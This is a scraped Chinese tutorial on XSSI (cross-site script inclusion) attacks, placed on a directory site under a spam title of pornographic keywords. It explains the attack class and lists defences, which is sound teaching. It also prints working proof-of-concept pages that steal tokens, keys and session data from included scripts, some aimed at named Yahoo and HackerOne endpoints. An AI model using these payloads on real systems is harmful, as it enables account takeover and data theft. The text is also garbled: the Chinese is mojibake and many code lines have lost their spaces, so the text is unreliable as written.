日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

一.XSSI漏洞原理

同源策略

同源策略是Web應(yīng)用程序安全模型中最基本也是最核心的策略。

現(xiàn)在所有支持JAVAScript的瀏覽器都會(huì)使用這個(gè)策略。

所謂同源是指,域名,協(xié)議,端口相同。

同源策略規(guī)定,不同源的客戶端腳本(JavaScript、ActionScript)在沒(méi)明確授權(quán)的情況下,不能讀寫(xiě)對(duì)方的資源。

此策略可防止一個(gè)頁(yè)面上的惡意腳本通過(guò)該頁(yè)面的Document Object Model訪問(wèn)另一網(wǎng)頁(yè)上的敏感數(shù)據(jù)。

為了滿足同源策略,瀏覽器對(duì)不同訪問(wèn)行為進(jìn)行了限制,限制規(guī)則一般如下:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

XSSI原理

XSSI漏洞全稱為跨站腳本包含漏洞,攻擊者通過(guò)使用<script>標(biāo)簽(所有帶src或href屬性的標(biāo)簽以及部分其他標(biāo)簽可以跨域)跨域包含特定文件/頁(yè)面

可以竊取符合JavaScript格式的文件中的敏感信息。

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

攻擊者會(huì)將可泄露用戶信息的JavaScript文件包含進(jìn)來(lái)。

這里獲取的目標(biāo)數(shù)據(jù),即敏感信息,大致分為幾類:

認(rèn)證憑據(jù)

CSRF token

用戶個(gè)人信息等

XSSI、XSS、CSRF的區(qū)別

XSS 攻擊是指攻擊者在網(wǎng)站上注入惡意的客戶端代碼,通過(guò)惡意腳本對(duì)客戶端網(wǎng)頁(yè)進(jìn)行篡改,從而在用戶瀏覽網(wǎng)頁(yè)時(shí),對(duì)用戶瀏覽器進(jìn)行控制或者獲取用戶隱私數(shù)據(jù)的一種攻擊方式。

攻擊者對(duì)客戶端網(wǎng)頁(yè)注入的惡意腳本一般包括 JavaScript,有時(shí)也會(huì)包含 html 和 Flash。

有很多種方式進(jìn)行 XSS 攻擊,但它們的共同點(diǎn)為:將一些隱私數(shù)據(jù)像 cookie、session 發(fā)送給攻擊者,將受害者重定向到一個(gè)由攻擊者控制的網(wǎng)站,在受害者的機(jī)器上進(jìn)行一些惡意操作

CSRF(跨站請(qǐng)求偽造),指冒充用戶發(fā)起請(qǐng)求(在用戶不知情的情況下),完成一些違背用戶意愿的請(qǐng)求(如惡意發(fā)帖,刪帖,改密碼,發(fā)郵件等)通常來(lái)說(shuō)CSRF是由XSS實(shí)現(xiàn)的,所以CSRF時(shí)常也被稱為XSRF[用XSS的方式實(shí)現(xiàn)偽造請(qǐng)求]。

XSS更偏向于代碼實(shí)現(xiàn)(即寫(xiě)一段擁有跨站請(qǐng)求功能的JavaScript腳本注入到一條帖子里,然后有用戶訪問(wèn)了這個(gè)帖子,這就算是中了XSS攻擊了),CSRF更偏向于一個(gè)攻擊結(jié)果,只要發(fā)起了冒牌請(qǐng)求那么就算是CSRF了

XSSI(跨站請(qǐng)求包含)是XSS的一種形式,即瀏覽器不會(huì)阻止網(wǎng)頁(yè)加載圖像和文字等資源,這些資源通常托管在其他域和服務(wù)器。

例如,如果abc銀行有一個(gè)腳本用于讀取用戶的私人賬戶信息,攻擊者可以在其自己的惡意網(wǎng)站包含這個(gè)腳本,當(dāng)abc銀行的客戶訪問(wèn)攻擊者的網(wǎng)站時(shí),攻擊者就可以從abc銀行的服務(wù)器提取用戶信息。

從表面上看,XSSI和CSRF看起來(lái)很相似,因?yàn)樵谶@兩種情況下,請(qǐng)求都是從惡意頁(yè)面發(fā)送到另一個(gè)域的,并且在兩種情況下,請(qǐng)求都是在登錄用戶的上下文中執(zhí)行的。

關(guān)鍵區(qū)別在于目標(biāo)。

在CSRF中,攻擊者希望在受害者頁(yè)面內(nèi)執(zhí)行惡意操作,例如在網(wǎng)上銀行應(yīng)用程序中進(jìn)行轉(zhuǎn)帳。

在XSSI中,攻擊者想要跨域泄露數(shù)據(jù),以便再執(zhí)行攻擊。

與jsonp劫持的關(guān)系

jsonp劫持等利用js對(duì)插入函數(shù)進(jìn)行插入惡意代碼,將敏感數(shù)據(jù)發(fā)送到攻擊者的服務(wù)器,實(shí)際上就是對(duì)存在jsonpjack持守入侵的網(wǎng)頁(yè)進(jìn)行發(fā)起一次請(qǐng)求,讓其受害者客戶端執(zhí)行插入的惡意代碼

而xssi主要獲取服務(wù)器為每個(gè)客戶端生成的動(dòng)態(tài)js文件中的敏感數(shù)據(jù),達(dá)到信息定向的目的,這種信息可能包括用戶的登錄憑證,嚴(yán)重可導(dǎo)致任意用戶賬號(hào)接管。

二.XSSI漏洞利用以及POC

XSSI通常區(qū)分為三種情況。

但是利用方式是相似甚至是相同的(就像反射與存儲(chǔ)的XSS)。我們可以將三種情況區(qū)分如下:

靜態(tài)JavaScript(常規(guī)XSSI)

直接訪問(wèn)該js即可獲取敏感信息,但一般都是攻擊認(rèn)證后包含敏感信息的js

假設(shè)敏感內(nèi)容設(shè)定在一個(gè)全局變量中,如下面的現(xiàn)實(shí)例子:

var privateKey ="-----BEGIN RSA PRIVATE KEY-----

....

-----END RSA PRIVATE KEY-----",

    keys =[

{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },

{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }

];

利用POC:

<html>

<head>

<title>Regular XSSI</title>

<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>

</head>

<body>

<script>

      alert(JSON.stringify(keys[0]));

</script>

</body>

</html>

動(dòng)態(tài)JavaScript

1.敏感信息存儲(chǔ)在全局變量

http://vuln.com/dynamic.js

var token='secret';

利用POC

http://attacker.com/xssi.html

<!DOCTYPE html>

<html>

<head>

<title>xssi</title>

</head>

<body>

<scriptsrc="http://vuln.com/dynamic.js"></script>

<script>alert(token);</script>

</body>

</html>

2.敏感信息被外部函數(shù)處理,可以重寫(xiě)函數(shù)

http://vuln.com/dynamic1.js

(function(){

var token='secret';

    doSomeThing(token);

})();

利用POC:

http://attacker.com/xssi1.html

<!DOCTYPE html>

<html>

<head>

<title>xssi1</title>

</head>

<body>

<script>function doSomeThing(data){alert(data);}</script>

<scriptsrc="http://vuln.com/dynamic1.js"></script>

</body>

</html>

3.利用原型鏈竊取敏感信息

對(duì)于非常規(guī)情況,可以考慮利用原型鏈獲取數(shù)據(jù)

http://vuln.com/dynamic2.js

(function(){

var token='secret';

var data=token.trim();

})();

利用POC:

http://attacker.com/xssi2.html

<!DOCTYPE html>

<html>

<head>

<title>xssi2</title>

</head>

<body>

<script>String.prototype.trim =function(){alert(this);}</script>

<scriptsrc="http://vuln.com/dynamic2.js"></script>

</body>

</html>
XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

非JavaScript

1.IE bug導(dǎo)致錯(cuò)誤信息泄漏 (ie 9 和 ie 10)

為了防止js錯(cuò)誤信息跨域泄漏,對(duì)于外部加載的js文件,現(xiàn)在主流的瀏覽器只有固定的錯(cuò)誤信息,比如“script error”,當(dāng)是在ie9與ie10,情況不一定如此。

一般來(lái)說(shuō),在外部js發(fā)生語(yǔ)法錯(cuò)誤的情況下,瀏覽器只會(huì)提供固定的錯(cuò)誤信息,

但是當(dāng)在runtime發(fā)生錯(cuò)誤的情況下,瀏覽器會(huì)提供詳細(xì)的錯(cuò)誤信息。

比如”foo 未定義”之類的,某些瀏覽器一旦允許外域js回復(fù)詳細(xì)的錯(cuò)誤信息,就會(huì)導(dǎo)致信息泄漏。

就是說(shuō),當(dāng)某個(gè)網(wǎng)頁(yè)的內(nèi)容能被js識(shí)別為javascript格式的話,那么就可能通過(guò)錯(cuò)誤信息獲取到目標(biāo)的內(nèi)容。

比如,目標(biāo)網(wǎng)頁(yè)

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

攻擊者設(shè)置錯(cuò)誤顯示

#!html

<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

一旦加載成功,網(wǎng)頁(yè)則會(huì)顯示 “‘abc’ is undefined”

會(huì)出現(xiàn)這種情況是因?yàn)闉g覽器將目標(biāo)識(shí)別為javascript,那么abc就會(huì)被識(shí)別為某個(gè)未定義的變量。

當(dāng)為這種情況的時(shí)候,瀏覽器就允許頁(yè)面捕捉來(lái)自不同網(wǎng)頁(yè)的錯(cuò)誤信息。

做一個(gè)總結(jié)就是,有被利用的可能性的數(shù)據(jù)都是可以被識(shí)別,或者通過(guò)某種方式識(shí)別為有效js的數(shù)據(jù)。

不過(guò),稍微需要注意的一點(diǎn),出現(xiàn)該漏洞的只有ie 9 和 ie 10。

2.通過(guò)UTF-16編碼獲取其它類型的數(shù)據(jù) (ie版本小于10)

大家可以看到,上面的東西只在csv這種操蛋的玩意上有用,

所以我們做了更多的研究看看能否獲取不同格式的數(shù)據(jù),

之后我們發(fā)現(xiàn)通過(guò)UTF-16編碼可以達(dá)到我們的目標(biāo)。

其實(shí)本身是一個(gè)很簡(jiǎn)單的技巧 比如頁(yè)面a ,我們加入 charset=”UTF-16BE”

#!html

<!--set an error handler -->

<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>

<!-- load target JSON -->

<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

然后json數(shù)據(jù)長(zhǎng)這個(gè)逼樣

HTTP/1.1200 OK

Content-Type: Application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:39

{"aaa":"000","bbb":"111","ccc":"222"}

當(dāng)響應(yīng)缺少字符集規(guī)范的時(shí)候,會(huì)被charset屬性強(qiáng)制轉(zhuǎn)碼為固定的編碼,我們用這個(gè)技巧擼掉了許多有名的瀏覽器,包括ie 9。

測(cè)試這段代碼之后,我們給自己彈了個(gè)窗。

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

我們可以看到一串亂碼,因?yàn)椋?dāng)瀏覽器獲取目標(biāo)網(wǎng)頁(yè)的數(shù)據(jù),之間經(jīng)過(guò)了一次編碼,然后到我們的頁(yè)面上經(jīng)過(guò)charset制定的字符集進(jìn)行了一次解碼。

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

我們能很簡(jiǎn)單的得出一個(gè)結(jié)論就是我們能通過(guò)對(duì)亂碼的再次編碼來(lái)獲得原有的信息

不過(guò)需要注意的就是只有當(dāng)編碼后的信息能夠被瀏覽器識(shí)別為有效的js標(biāo)示符的時(shí)候攻擊才有可能成功,這是一個(gè)重要的條件,

對(duì)于不同的平臺(tái)的編碼是有所不同的,在ie上可以被識(shí)別為有效js標(biāo)示符的字符是多于其他平臺(tái)的,至于其他來(lái)說(shuō)ie的 ECMAScript規(guī)范 跟其他瀏覽器總體沒(méi)什么不同。

打個(gè)比方對(duì)于ie來(lái)說(shuō) ‘3q’ (U+3371, ?) 在 unicode編碼中會(huì)被認(rèn)為是 屬于 “Symbol, Other [So]”,就是符號(hào)的一種。

總的來(lái)說(shuō)這種形式的認(rèn)定不應(yīng)該發(fā)生在任何瀏覽器中,不過(guò)ie可能比較2b一些。

我們花了很多時(shí)間研究了什么樣的組合,能夠被瀏覽器認(rèn)定為有效的js標(biāo)示符,當(dāng)字符編碼為UTF-16的時(shí)候的數(shù)字字母組合,ie 9將其99.3%認(rèn)為是有效的js標(biāo)示符,高于chrome和firefox。

具體結(jié)果見(jiàn)下圖

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

需要注意的一件事就是在ie 10 或者更高的版本,可能攻擊無(wú)法奏效,因?yàn)閕e 10 拒絕將沒(méi)有空字節(jié)活著bom的編碼為utf16。

3.chrome/firefox 中 Harmony proxy bug利用

Harmony是一個(gè)ECMAScript 6中的新功能 ,類似于java的反射類,其中定義了對(duì)于對(duì)象屬性的查找,分配,函數(shù)調(diào)用

在我們針對(duì)這些新特性的研究過(guò)程中發(fā)現(xiàn)該功能可以用于xssi的攻擊中

#!html

<!--set proxy handler to window.__proto__ -->

<SCRIPT>

var handler ={

 has:function(target, name){alert("data="+ name);returntrue},

get:function(target, name){return1}

};

window.__proto__ =newProxy({}, handler);

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

注意其中的window.proto 定義了一個(gè)代理對(duì)象,當(dāng)訪問(wèn)一個(gè)未定義的全局變量,就會(huì)出發(fā)handler進(jìn)行處理。

然后csv文件長(zhǎng)這樣:

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

當(dāng)訪問(wèn)攻擊頁(yè)面的時(shí)候如果攻擊成功那么久會(huì)收到 “data=abc”, “data=def”, “data=ghi”的彈窗,我們?cè)趂irefox和chrome都得到了驗(yàn)證。

4.窮舉

假設(shè)一個(gè)攻擊頁(yè)面通過(guò)js 加載了下面的csv文件。

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:8

1,xyz123

一旦加載我們就會(huì)得到一個(gè) xyz123未定義的錯(cuò)誤

換句話說(shuō),如果我們?cè)诩虞d外部文件之前定義了這個(gè)標(biāo)示符,那么我們就不會(huì)受到這個(gè)錯(cuò)誤,同時(shí)我們也可以判斷xyz123是存在于外部文件中的。

也就是說(shuō)我們需要一個(gè)合適的檢測(cè)錯(cuò)誤是否發(fā)生的方式。

一般情況下瀏覽器是不提供詳細(xì)的外部錯(cuò)誤信息,不過(guò)仍然會(huì)返回一個(gè)通用的錯(cuò)誤標(biāo)示。

所以說(shuō)窮舉信息還是是存在可能性的。

總的來(lái)說(shuō)我們發(fā)現(xiàn)三種窮舉的方式

第一種是二元搜索。

比如你知道目標(biāo)會(huì)是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一個(gè),可以先定義前兩個(gè)變量然后看有無(wú)錯(cuò)誤爆出,然后定義后兩個(gè),然后再縮小目標(biāo)。

第二種是使用 js 的getter,像下面醬紫

#!html

<!--set getters -->

<SCRIPT>

Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});

Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});

Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});

Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

就是目標(biāo)值訪問(wèn) window.**|||||| 會(huì)觸發(fā)上面的規(guī)則。

第三種是使用vbscript來(lái)獲取json數(shù)組

這個(gè)思路來(lái)自Hasegawa做的研究,組合vbscript和json進(jìn)行攻擊(4]

目標(biāo)頁(yè)面長(zhǎng)這個(gè)樣子

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:12

[1,"xyz123"]

然后再我們的攻擊界面中調(diào)用vbscript

#!html

<SCRIPT language="vbscript">

Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub

Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub

Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub

Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub

</SCRIPT>

<!-- load target JSON asVBScript-->

<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

跟上面的攻擊相似,都是通過(guò)窮舉來(lái)獲取目標(biāo)值。不過(guò)vbscript只試用于ie

5.csv獲取

上面獲取csv的信息只在目標(biāo)的字符串沒(méi)被引號(hào)擴(kuò)起來(lái)的情況下,不過(guò)同樣是一些小技巧能夠使我們繞過(guò)這一限制。

讓我們假設(shè)一個(gè)csv長(zhǎng)這個(gè)b樣。

1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"

假設(shè)攻擊者能夠插入自己的字符串,那么只需要根據(jù)RFC相關(guān)CSV (RFC 4180 (12])中的規(guī)定來(lái)添加一個(gè)雙引號(hào)就可以bypass這個(gè)限制。

for example

1,""",$$$=function(){/*","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...
98,"bar","[email protected]","03-0000-0088"

99,"*/}//","[email protected]","03-0000-0099"

一個(gè)比較蛋疼的問(wèn)題就是如何獲取多行的信息,因?yàn)槎嘈性趈s中是違法的

上面的例子里,我們使用 .toString() 獲取函數(shù)遠(yuǎn)嗎來(lái)達(dá)到攻擊目標(biāo)數(shù)據(jù)的目的。

這種攻擊方式試用于所有的瀏覽器。

一種獲取多行內(nèi)容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字符串中通過(guò)反引號(hào)來(lái)獲取多行內(nèi)容。

三.XSSI漏洞實(shí)例

雅虎XSSI漏洞實(shí)現(xiàn)用戶信息竊取

在雅虎(Yahoo)漏洞眾測(cè)項(xiàng)目中,通過(guò)BurpSuite來(lái)進(jìn)行抓包分析,發(fā)現(xiàn)下圖的請(qǐng)求:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

測(cè)試發(fā)現(xiàn)是JSONP服務(wù)端,在雅虎網(wǎng)站API中,.crumb 值其實(shí)就是一個(gè)隨機(jī)字符串

它與用戶的session和身份驗(yàn)證值相關(guān),并且如果在該請(qǐng)求中,GET參數(shù) .crumb 值無(wú)效的話,其響應(yīng)如下:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

如果能以某種方式去竊取到受害者的有效.crumb 值的話,那么就能竊取到對(duì)方的具體賬號(hào)信息值了。

因此,在BurpSuite的抓包中來(lái)查找所有包含有效 .crumb 值的請(qǐng)求,最終,發(fā)現(xiàn)了在某個(gè)動(dòng)態(tài)的Javascript文件存在這樣的信息

該Javascript文件位于

https://messenger.yahoo.com/embed/app.js。

源代碼如下:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

這個(gè)XSSi 漏洞原理其實(shí)是這樣的,它允許攻擊者繞過(guò)原始邊界竊取特定類型數(shù)據(jù),

利用了script標(biāo)記的src屬性來(lái)突破同源策略( SOP),也即在script標(biāo)記中,瀏覽器不會(huì)阻止網(wǎng)頁(yè)加載圖像和文字等第三方資源。

因此,為了竊取

https://messenger.yahoo.com/embed/app.js

中的有效回調(diào) .crumb 值,然后把它放置在鏈接

https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx

中進(jìn)行請(qǐng)求,以獲取到相關(guān)用戶的session信息,POC代碼如下:

<html>

<head>

<title>Yahoo XSSi PoC</title>

</head>

<body>

<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">

<h1style="text-align: center;">Proof of Concept</h1>

<b>Dataset 1:</b>

<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

<br/>

<b>Dataset 2:</b>

<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

</div>

<script>

function processDeviceUsers(data){

                document.getElementById("content1").innerHTML = JSON.stringify(data);

}

            window.onload =function(){

var config ={};

                config_data ={};

                config.merge =function(data){ config_data = data };

                iris.initConfig(config);

                document.getElementById("content2").innerHTML =  JSON.stringify(config_data);

var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;

var s = document.createElement('script');

                s.setAttribute('src', src);

                document.body.appendChild(s);

}

</script>

<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>

<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>

</body>

</html>

效果:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

hackerone漏洞:如何利用XSSI竊取多行字符串

由于瀏覽器不會(huì)阻止一個(gè)域名中的頁(yè)面直接引用其他域名的資源

所以我們可以在script標(biāo)簽中引入第三方域名的資源,然后觀察其運(yùn)行情況

但我們現(xiàn)在還無(wú)法讀取到來(lái)自第三方域名script標(biāo)簽中的內(nèi)容。

需要注意的是,包含script標(biāo)簽的不一定必須是JS文件,文件開(kāi)頭也無(wú)需標(biāo)注text/javascript,而且文件的擴(kuò)展名也并非一定要是“.js”。

hackerone存在漏洞的地址是:

https://hackerone.com/reports/12345/export/raw?include_internal_activities=true

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

這是“導(dǎo)出”功能的一個(gè)部分,它允許我們查看或下載原始報(bào)告內(nèi)容。

點(diǎn)擊之后,瀏覽器便會(huì)發(fā)送上圖所示的GET請(qǐng)求。

這是一個(gè)XHR請(qǐng)求,并帶有一個(gè)反CSRF令牌。

我們可以在瀏覽器中看到GET請(qǐng)求所對(duì)應(yīng)的完整響應(yīng)信息:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

為了跨域泄漏報(bào)告(Report)的內(nèi)容,所有的語(yǔ)句必須是有效的JavaScript語(yǔ)句。

以下是報(bào)告demo:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

第一行是一條標(biāo)記語(yǔ)句(“Title”后面跟著的是用戶提供的標(biāo)題),標(biāo)記語(yǔ)句是一種有效的JavaScript語(yǔ)句,后面可以跟自己的輸入?yún)?shù)。

為了獲取到多行字符串?dāng)?shù)據(jù),這里還要用到反引號(hào)( )。

接下來(lái),在結(jié)尾的反引號(hào)中添加一條注釋來(lái)作為字符串結(jié)束的標(biāo)志。

現(xiàn)在,可以script標(biāo)簽中嵌入上面給出的URL地址,然后就遠(yuǎn)程提取出所需要的數(shù)據(jù)了

POC如下:

<!DOCTYPE html>

<html>

<head>

<metacharset='utf-8'/>

<script>

//Tagged template literals

function demo( strings){

            alert(strings);

}

</script>

</head>

<body>

<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script>

</body>

</html>

目前只知道兩種控制JavaScript多行字符串的方法(串聯(lián)和反引號(hào)轉(zhuǎn)義)

ECMAScript 6也引入了一種箭頭函數(shù)(Arrow_Functions),它允許開(kāi)發(fā)人員使用簡(jiǎn)短的字符來(lái)定義函數(shù)。

下面是一個(gè)簡(jiǎn)單的例子:

XSS最強(qiáng)知識(shí)體系漏洞萬(wàn)字總結(jié)

 

除此之外,模版字符串(Template Literals)則是一種更簡(jiǎn)單的多行字符串處理方式。

四.XSSI漏洞防御

  • X-Content-Type-Options設(shè)置為nosniff
  • 不要將敏感數(shù)據(jù)(session,token等)放在javascript文件中, 也不要放在jsonp中
  • 禁止get
  • 加token
  • 自定義xhr/http請(qǐng)求

分享到:
標(biāo)簽:XSS
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定